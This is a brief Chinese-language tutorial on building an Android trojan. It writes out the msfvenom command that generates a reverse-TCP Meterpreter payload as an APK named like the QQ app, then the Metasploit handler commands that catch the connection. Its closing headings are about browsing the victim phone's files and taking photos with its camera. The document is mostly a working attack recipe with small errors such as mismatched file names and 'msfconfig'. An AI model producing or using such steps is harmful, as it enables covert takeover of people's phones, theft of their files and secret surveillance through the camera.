一、我們需要的軟體

     Kali2.0(系統自帶msfVENOM、metasploit、msfconfig)安卓手機，安卓虛擬機器檢視自己的IP:172.20.10.8

二、使用msfvenom生成apk木馬

解釋：msfvenom是msfpayload,msfencode的結合體,它的優點是單一,命令列,和效率.利用msfvenom生成木馬程式,並在目標機上執行,在本地監聽上線

用到命令：msfvenom -p android/meterpreter/reverse_tcp LHOST=172.20.10.8 LPORT=2323 R > /test/qq1.apk

P 攻擊payload

LHOST = 接收反彈連線主機

LPORT = 接收反彈連線主機的監聽埠

然後是路徑生成路徑

生成pp1.apk木馬，下一步要放到安卓系統中去。

三、啟動metasploit

依次執行輸入msfconfig

use exploit/multi/handler 載入攻擊模組

set payload android/meterpreter/reverse_tcp 選擇要使用的Payload

四、檢視手機中的檔案

五、使用相機拍照